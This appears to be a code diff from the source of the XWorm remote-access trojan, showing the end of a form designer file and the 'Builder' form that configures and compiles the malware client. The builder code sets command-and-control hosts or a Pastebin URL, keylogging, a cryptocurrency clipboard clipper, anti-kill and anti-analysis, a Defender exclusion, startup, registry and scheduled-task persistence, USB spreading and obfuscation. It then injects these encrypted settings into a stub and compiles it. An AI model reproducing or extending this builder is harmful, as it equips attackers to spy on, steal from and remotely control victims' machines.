||||
Me.TabPage2.PerformLayout()
|
||||
CType(Me.Guna2NumericUpDown1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
Me.TabPage3.ResumeLayout(False)
|
||||
Me.TabPage3.PerformLayout()
|
||||
CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
CType(Me.PictureBox4, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
Me.ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents PictureBox1 As PictureBox
|
||||
Friend WithEvents Label3 As Label
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents ListBox1 As ListBox
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2TextBox3 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Label10 As Label
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Label9 As Label
|
||||
Friend WithEvents Guna2TextBox2 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Label12 As Label
|
||||
Friend WithEvents Guna2TextBox4 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2CheckBox3 As Guna.UI2.WinForms.Guna2CheckBox
|
||||
Friend WithEvents ImageList1 As ImageList
|
||||
Friend WithEvents Guna2CheckBox4 As Guna.UI2.WinForms.Guna2CheckBox
|
||||
Friend WithEvents Guna2CheckBox2 As Guna.UI2.WinForms.Guna2CheckBox
|
||||
Friend WithEvents Guna2CheckBox1 As Guna.UI2.WinForms.Guna2CheckBox
|
||||
Friend WithEvents Guna2ToggleSwitch6 As Guna.UI2.WinForms.Guna2ToggleSwitch
|
||||
Friend WithEvents Label19 As Label
|
||||
Friend WithEvents Guna2ToggleSwitch5 As Guna.UI2.WinForms.Guna2ToggleSwitch
|
||||
Friend WithEvents Label18 As Label
|
||||
Friend WithEvents Guna2ToggleSwitch4 As Guna.UI2.WinForms.Guna2ToggleSwitch
|
||||
Friend WithEvents Label17 As Label
|
||||
Friend WithEvents Guna2ToggleSwitch3 As Guna.UI2.WinForms.Guna2ToggleSwitch
|
||||
Friend WithEvents Label16 As Label
|
||||
Friend WithEvents Guna2ToggleSwitch2 As Guna.UI2.WinForms.Guna2ToggleSwitch
|
||||
Friend WithEvents Label15 As Label
|
||||
Friend WithEvents Guna2ToggleSwitch1 As Guna.UI2.WinForms.Guna2ToggleSwitch
|
||||
Friend WithEvents Label14 As Label
|
||||
Friend WithEvents Guna2CheckBox7 As Guna.UI2.WinForms.Guna2CheckBox
|
||||
Friend WithEvents Guna2CheckBox6 As Guna.UI2.WinForms.Guna2CheckBox
|
||||
Friend WithEvents Guna2CheckBox5 As Guna.UI2.WinForms.Guna2CheckBox
|
||||
Friend WithEvents Guna2TabControl1 As Guna.UI2.WinForms.Guna2TabControl
|
||||
Friend WithEvents TabPage1 As TabPage
|
||||
Friend WithEvents TabPage2 As TabPage
|
||||
Friend WithEvents Guna2TextBox5 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents TabPage3 As TabPage
|
||||
Friend WithEvents Guna2TextBox6 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2CheckBox8 As Guna.UI2.WinForms.Guna2CheckBox
|
||||
Friend WithEvents Guna2ComboBox2 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Guna2NumericUpDown1 As Guna.UI2.WinForms.Guna2NumericUpDown
|
||||
Friend WithEvents Label13 As Label
|
||||
Friend WithEvents Label20 As Label
|
||||
Friend WithEvents PictureBox4 As PictureBox
|
||||
Friend WithEvents Label2 As Label
|
||||
Friend WithEvents Guna2TextBox7 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents PictureBox2 As PictureBox
|
||||
Friend WithEvents Label4 As Label
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,806 @@
|
||||
Imports System.CodeDom.Compiler
|
||||
Imports System.IO
|
||||
Imports System.Security.Cryptography
|
||||
Imports System.Text
|
||||
Imports Microsoft.VisualBasic.CompilerServices
|
||||
|
||||
Public Class Builder
|
||||
|
||||
Public Sub New()
|
||||
InitializeComponent()
|
||||
Opacity = 0
|
||||
FadeIn(Me, 20)
|
||||
End Sub
|
||||
|
||||
Public iconpath As String
|
||||
Public assm As String
|
||||
|
||||
Public xform As Boolean = False
|
||||
Public xform2 As Boolean = False
|
||||
|
||||
Public Botid As String
|
||||
Public BotToken As String
|
||||
|
||||
Public BTC As String
|
||||
Public ETH As String
|
||||
Public TRC20 As String
|
||||
|
||||
Private Sub Builder_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Try
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing) = "False" Then
|
||||
assm = Nothing
|
||||
Guna2CheckBox1.Checked = False
|
||||
Else
|
||||
assm = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing)
|
||||
xform = True
|
||||
Guna2CheckBox1.Checked = True
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing) = "False" Then
|
||||
iconpath = Nothing
|
||||
Guna2CheckBox2.Checked = False
|
||||
PictureBox1.Image = Nothing
|
||||
Else
|
||||
iconpath = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing)
|
||||
xform2 = True
|
||||
Guna2CheckBox2.Checked = True
|
||||
PictureBox1.ImageLocation = (iconpath)
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing) = "False" Then
|
||||
Guna2ComboBox2.Enabled = False
|
||||
Guna2TextBox5.Enabled = False
|
||||
Guna2ComboBox2.SelectedIndex = 0
|
||||
Else
|
||||
Guna2ComboBox2.SelectedIndex = Convert.ToInt32(My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing))
|
||||
Guna2ComboBox2.Enabled = True
|
||||
Guna2TextBox5.Enabled = True
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallStr", Nothing) = Nothing Then
|
||||
Guna2TextBox5.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallStr", Nothing)
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Clipper", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Clipper", Nothing) = "False" Then
|
||||
Guna2ToggleSwitch6.Checked = False
|
||||
Else
|
||||
BTC = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "BTC", Nothing)
|
||||
ETH = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "ETH", Nothing)
|
||||
TRC20 = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "TRC20", Nothing)
|
||||
Guna2ToggleSwitch6.Checked = True
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Keylogger", Nothing) = "True" Then
|
||||
Guna2ToggleSwitch2.Checked = True
|
||||
|
||||
Else
|
||||
Guna2ToggleSwitch2.Checked = False
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "AntiKill", Nothing) = "True" Then
|
||||
Guna2ToggleSwitch3.Checked = True
|
||||
|
||||
Else
|
||||
Guna2ToggleSwitch3.Checked = False
|
||||
End If
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "WDEX", Nothing) = "True" Then
|
||||
Guna2ToggleSwitch4.Checked = True
|
||||
|
||||
Else
|
||||
Guna2ToggleSwitch4.Checked = False
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Obfuscator", Nothing) = "True" Then
|
||||
Guna2CheckBox4.Checked = True
|
||||
|
||||
Else
|
||||
Guna2CheckBox4.Checked = False
|
||||
End If
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Startup", Nothing) = "True" Then
|
||||
Guna2CheckBox6.Checked = True
|
||||
|
||||
Else
|
||||
Guna2CheckBox6.Checked = False
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Reg", Nothing) = "True" Then
|
||||
Guna2CheckBox5.Checked = True
|
||||
Else
|
||||
Guna2CheckBox5.Checked = False
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Task", Nothing) = "True" Then
|
||||
Guna2CheckBox7.Checked = True
|
||||
Else
|
||||
Guna2CheckBox7.Checked = False
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Analysis", Nothing) = "True" Then
|
||||
Guna2ToggleSwitch1.Checked = True
|
||||
Else
|
||||
Guna2ToggleSwitch1.Checked = False
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Hosts", Nothing) = Nothing Then
|
||||
ListBox1.Items.Add("127.0.0.1")
|
||||
Else
|
||||
Dim Hosts As String = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Hosts", Nothing)
|
||||
For Each SPL In Strings.Split(Hosts, ",")
|
||||
If Not String.IsNullOrEmpty(SPL) Then
|
||||
ListBox1.Items.Add(SPL)
|
||||
End If
|
||||
Next
|
||||
End If
|
||||
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing) = Nothing Then
|
||||
Guna2TextBox3.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing)
|
||||
End If
|
||||
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing) = Nothing Then
|
||||
Guna2TextBox1.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing)
|
||||
End If
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Group", Nothing) = Nothing Then
|
||||
Guna2TextBox7.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Group", Nothing)
|
||||
End If
|
||||
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Url", Nothing) = Nothing Then
|
||||
Guna2TextBox4.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Url", Nothing)
|
||||
End If
|
||||
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Sleep", Nothing) = Nothing Then
|
||||
Guna2NumericUpDown1.Value = Convert.ToInt32(My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Sleep", Nothing))
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Pastebin", Nothing) = "True" Then
|
||||
|
||||
Guna2TextBox2.Enabled = False
|
||||
ListBox1.Enabled = False
|
||||
|
||||
Guna2TextBox3.Enabled = False
|
||||
Guna2CheckBox3.Checked = True
|
||||
Guna2TextBox4.Enabled = True
|
||||
Else
|
||||
Guna2TextBox2.Enabled = True
|
||||
ListBox1.Enabled = True
|
||||
|
||||
|
||||
Guna2TextBox3.Enabled = True
|
||||
|
||||
Guna2CheckBox3.Checked = False
|
||||
Guna2TextBox4.Enabled = False
|
||||
End If
|
||||
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBN", Nothing) = Nothing Then
|
||||
Guna2TextBox6.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBN", Nothing)
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBE", Nothing) = "True" Then
|
||||
Guna2CheckBox8.Checked = True
|
||||
Guna2TextBox6.Enabled = True
|
||||
Else
|
||||
Guna2CheckBox8.Checked = False
|
||||
Guna2TextBox6.Enabled = False
|
||||
End If
|
||||
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Public Sub Compiler(ByVal Path As String, ByVal Code As String)
|
||||
Try
|
||||
Dim providerOptions = New Collections.Generic.Dictionary(Of String, String)
|
||||
providerOptions.Add("CompilerVersion", "v4.0")
|
||||
Dim CodeProvider As New Microsoft.VisualBasic.VBCodeProvider(providerOptions)
|
||||
Dim Parameters As New CompilerParameters
|
||||
Dim OP As String = " /target:winexe /platform:anycpu /nowarn"
|
||||
With Parameters
|
||||
.GenerateExecutable = True
|
||||
.OutputAssembly = Path
|
||||
.CompilerOptions = OP
|
||||
.IncludeDebugInformation = False
|
||||
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
|
||||
.ReferencedAssemblies.Add("System.dll")
|
||||
.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
|
||||
.ReferencedAssemblies.Add("System.Management.dll")
|
||||
.ReferencedAssemblies.Add("System.Drawing.dll")
|
||||
.ReferencedAssemblies.Add("System.Core.dll")
|
||||
|
||||
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code)
|
||||
If Results.Errors.Count > 0 Then
|
||||
For Each E In Results.Errors
|
||||
MsgBox(E.ErrorText, MsgBoxStyle.Critical)
|
||||
Exit Sub
|
||||
Next
|
||||
End If
|
||||
End With
|
||||
|
||||
If Guna2CheckBox2.Checked = True Then
|
||||
IconInjector.InjectIcon(Path, iconpath)
|
||||
End If
|
||||
|
||||
If Guna2CheckBox4.Checked = True Then
|
||||
Debug.WriteLine(SimpleObfuscator.Obfuscator.Save(IO.File.ReadAllBytes(Path), Path))
|
||||
End If
|
||||
|
||||
GC.Collect()
|
||||
|
||||
Dim myFile As New FileInfo(Path)
|
||||
|
||||
|
||||
Dim finalPath As String = Path
|
||||
|
||||
Hide()
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Public Function Encrypt(ByVal input As String, ByVal Pass As String)
|
||||
Dim AES As New RijndaelManaged
|
||||
Dim Hash_AES As New MD5CryptoServiceProvider
|
||||
Dim encrypted As String = ""
|
||||
Dim hash(31) As Byte
|
||||
Dim temp As Byte() = Hash_AES.ComputeHash(SBUTF8(Pass))
|
||||
Array.Copy(temp, 0, hash, 0, 16)
|
||||
Array.Copy(temp, 0, hash, 15, 16)
|
||||
AES.Key = hash
|
||||
AES.Mode = CipherMode.ECB
|
||||
Dim DESEncrypter As ICryptoTransform = AES.CreateEncryptor
|
||||
Dim Buffer As Byte() = SBUTF8(input)
|
||||
encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
|
||||
Return encrypted
|
||||
End Function
|
||||
Private Function SBUTF8(ByVal s As String) As Byte()
|
||||
Return System.Text.Encoding.UTF8.GetBytes(s)
|
||||
End Function
|
||||
|
||||
Private Sub Guna2CheckBox8_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox8.CheckedChanged
|
||||
If Guna2CheckBox8.Checked = True Then
|
||||
Guna2TextBox6.Enabled = True
|
||||
Else
|
||||
Guna2TextBox6.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2CheckBox2_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox2.CheckedChanged
|
||||
|
||||
If xform2 = True Then
|
||||
xform2 = False
|
||||
Return
|
||||
End If
|
||||
|
||||
If Guna2CheckBox2.Checked = True Then
|
||||
Dim OfD As New OpenFileDialog
|
||||
With OfD
|
||||
.Filter = "(*.exe;*.ico;)|*.exe;*.ico"
|
||||
.InitialDirectory = Application.StartupPath & "\Icons"
|
||||
If OfD.ShowDialog() = DialogResult.OK Then
|
||||
If OfD.FileName.EndsWith(".exe") Then
|
||||
iconpath = GetIcon(OfD.FileName)
|
||||
PictureBox1.ImageLocation = (iconpath)
|
||||
GC.Collect()
|
||||
Else
|
||||
iconpath = OfD.FileName
|
||||
PictureBox1.ImageLocation = (iconpath)
|
||||
End If
|
||||
|
||||
Else
|
||||
iconpath = Nothing
|
||||
PictureBox1.Image = Nothing
|
||||
Guna2CheckBox2.Checked = False
|
||||
End If
|
||||
|
||||
End With
|
||||
|
||||
|
||||
End If
|
||||
If Guna2CheckBox2.Checked = False Then
|
||||
iconpath = Nothing
|
||||
PictureBox1.Image = Nothing
|
||||
Guna2CheckBox2.Checked = False
|
||||
End If
|
||||
End Sub
|
||||
Private Sub Guna2CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox1.CheckedChanged
|
||||
|
||||
If xform = True Then
|
||||
xform = False
|
||||
Return
|
||||
End If
|
||||
|
||||
If Guna2CheckBox1.Checked = True Then
|
||||
Dim OfD As New OpenFileDialog
|
||||
With OfD
|
||||
.Filter = "(*.exe|*.exe"
|
||||
If OfD.ShowDialog() = DialogResult.OK Then
|
||||
assm = OfD.FileName
|
||||
Guna2CheckBox1.Checked = True
|
||||
Else
|
||||
assm = Nothing
|
||||
Guna2CheckBox1.Checked = False
|
||||
End If
|
||||
End With
|
||||
|
||||
|
||||
End If
|
||||
If Guna2CheckBox1.Checked = False Then
|
||||
assm = Nothing
|
||||
Guna2CheckBox1.Checked = False
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2CheckBox3_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox3.CheckedChanged
|
||||
If Guna2CheckBox3.Checked = True Then
|
||||
Guna2TextBox2.Enabled = False
|
||||
ListBox1.Enabled = False
|
||||
|
||||
Guna2TextBox3.Enabled = False
|
||||
|
||||
Guna2TextBox4.Enabled = True
|
||||
Else
|
||||
Guna2TextBox2.Enabled = True
|
||||
ListBox1.Enabled = True
|
||||
|
||||
Guna2TextBox3.Enabled = True
|
||||
|
||||
Guna2TextBox4.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox1_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox1.TextChanged
|
||||
Try
|
||||
If Guna2TextBox1.Text.Length > 32 Or ((Guna2TextBox1.Text.Length) < 1) Then
|
||||
Guna2GradientButton1.Enabled = False
|
||||
Else
|
||||
Guna2GradientButton1.Enabled = True
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Guna2GradientButton1.Enabled = False
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox2_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox2.KeyDown
|
||||
Try
|
||||
If e.KeyCode = Keys.Enter Then
|
||||
e.SuppressKeyPress = True
|
||||
|
||||
If Not String.IsNullOrEmpty(Guna2TextBox2.Text) Then
|
||||
If Not ListBox1.Items.Contains(Guna2TextBox2.Text) OrElse String.IsNullOrEmpty(Guna2TextBox2.Text) Then
|
||||
ListBox1.Items.Add(Guna2TextBox2.Text)
|
||||
Guna2TextBox2.Clear()
|
||||
End If
|
||||
End If
|
||||
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox3_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox3.TextChanged
|
||||
Try
|
||||
Dim num As Integer = Conversions.ToInteger(Guna2TextBox3.Text)
|
||||
If ((Conversions.ToInteger(Guna2TextBox3.Text) > &HFFFE) Or (Conversions.ToInteger(Guna2TextBox3.Text) < 1)) Then
|
||||
Guna2GradientButton1.Enabled = False
|
||||
Else
|
||||
Guna2GradientButton1.Enabled = True
|
||||
End If
|
||||
Catch exception1 As Exception
|
||||
Guna2GradientButton1.Enabled = False
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2CheckBox6_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox6.CheckedChanged
|
||||
If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
|
||||
Guna2ComboBox2.Enabled = True
|
||||
Guna2TextBox5.Enabled = True
|
||||
Else
|
||||
Guna2ComboBox2.Enabled = False
|
||||
Guna2TextBox5.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2CheckBox5_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox5.CheckedChanged
|
||||
If Guna2CheckBox5.Checked Or Guna2CheckBox6.Checked Or Guna2CheckBox7.Checked Then
|
||||
Guna2ComboBox2.Enabled = True
|
||||
Guna2TextBox5.Enabled = True
|
||||
Else
|
||||
Guna2ComboBox2.Enabled = False
|
||||
Guna2TextBox5.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2CheckBox7_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox7.CheckedChanged
|
||||
If Guna2CheckBox7.Checked Or Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Then
|
||||
Guna2ComboBox2.Enabled = True
|
||||
Guna2TextBox5.Enabled = True
|
||||
Else
|
||||
Guna2ComboBox2.Enabled = False
|
||||
Guna2TextBox5.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
|
||||
If ListBox1.Items.Count > 0 Or Guna2CheckBox3.Checked = True Then
|
||||
|
||||
Dim Str As String = ""
|
||||
|
||||
Try
|
||||
Dim saveFileDialog As SaveFileDialog = New SaveFileDialog With {
|
||||
.Filter = "(*.exe)|*.exe",
|
||||
.OverwritePrompt = False,
|
||||
.FileName = "XWormClient.exe"
|
||||
}
|
||||
|
||||
If saveFileDialog.ShowDialog() = DialogResult.OK Then
|
||||
Try
|
||||
|
||||
If ListBox1.Items.Count > 0 Then
|
||||
For Each Hosts In ListBox1.Items
|
||||
Str &= Hosts & ","
|
||||
Next
|
||||
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Hosts", Str)
|
||||
End If
|
||||
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Port", Guna2TextBox3.Text)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Key", Guna2TextBox1.Text)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Group", Guna2TextBox7.Text)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBN", Guna2TextBox6.Text)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Url", Guna2TextBox4.Text)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Sleep", Guna2NumericUpDown1.Value.ToString)
|
||||
|
||||
If Guna2CheckBox6.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Startup", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Startup", "False")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If Guna2CheckBox5.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Reg", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Reg", "False")
|
||||
End If
|
||||
|
||||
|
||||
If Guna2CheckBox7.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Task", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Task", "False")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallDir", Guna2ComboBox2.SelectedIndex.ToString)
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallDir", "False")
|
||||
End If
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallStr", Guna2TextBox5.Text)
|
||||
|
||||
If Guna2ToggleSwitch1.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Analysis", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Analysis", "False")
|
||||
End If
|
||||
|
||||
If Guna2CheckBox8.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBE", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBE", "False")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
If assm = Nothing Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Assembly", "False")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Assembly", assm)
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
If iconpath = Nothing Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Icon", "False")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Icon", iconpath)
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If Guna2ToggleSwitch6.Checked Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Clipper", "True")
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "BTC", BTC)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "ETH", ETH)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TRC20", TRC20)
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Clipper", "False")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If Guna2ToggleSwitch5.Checked Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TBotNotify", "True")
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "BotToken", BotToken)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Botid", Botid)
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TBotNotify", "False")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
If Guna2CheckBox3.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Pastebin", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Pastebin", "False")
|
||||
End If
|
||||
|
||||
|
||||
If Guna2ToggleSwitch2.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Keylogger", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Keylogger", "False")
|
||||
End If
|
||||
|
||||
|
||||
If Guna2ToggleSwitch3.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "AntiKill", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "AntiKill", "False")
|
||||
End If
|
||||
|
||||
If Guna2ToggleSwitch4.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "WDEX", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "WDEX", "False")
|
||||
End If
|
||||
|
||||
|
||||
If Guna2CheckBox4.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Obfuscator", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Obfuscator", "False")
|
||||
End If
|
||||
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
|
||||
Dim Source = My.Resources.Stub
|
||||
Dim validchars As String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
|
||||
Dim sb As New StringBuilder()
|
||||
Dim rand As New Random()
|
||||
For i As Integer = 1 To 16
|
||||
Dim idx As Integer = rand.Next(0, validchars.Length)
|
||||
Dim randomChar As Char = validchars(idx)
|
||||
sb.Append(randomChar)
|
||||
Next i
|
||||
|
||||
Dim randomString = sb.ToString()
|
||||
|
||||
Source = Source.Replace("%Mutex%", randomString)
|
||||
|
||||
Source = Source.Replace("%USB%", Encrypt(Guna2TextBox6.Text, randomString))
|
||||
|
||||
|
||||
If Guna2CheckBox3.Checked = True Then
|
||||
Source = Replace(Source, "#Const Pastebin = False", "#Const Pastebin = True")
|
||||
Source = Source.Replace("%PasteUrl%", Encrypt(Guna2TextBox4.Text, randomString))
|
||||
Else
|
||||
Source = Source.Replace("%Hosts%", Encrypt(Str.Trim().Substring(0, Str.Length - 1), randomString))
|
||||
Source = Source.Replace("%Port%", Encrypt(Guna2TextBox3.Text, randomString))
|
||||
End If
|
||||
|
||||
|
||||
Source = Source.Replace("%KEY%", Encrypt(Guna2TextBox1.Text, randomString))
|
||||
|
||||
Source = Source.Replace("%Group%", Encrypt(Guna2TextBox7.Text, randomString))
|
||||
|
||||
Source = Source.Replace("%SPL%", Encrypt("<XWormmm>", randomString))
|
||||
|
||||
Source = Source.Replace("%Sleep%", Guna2NumericUpDown1.Value.ToString)
|
||||
|
||||
|
||||
|
||||
|
||||
If Guna2CheckBox8.Checked = True Then
|
||||
Source = Replace(Source, "#Const USBLNK = False", "#Const USBLNK = True")
|
||||
End If
|
||||
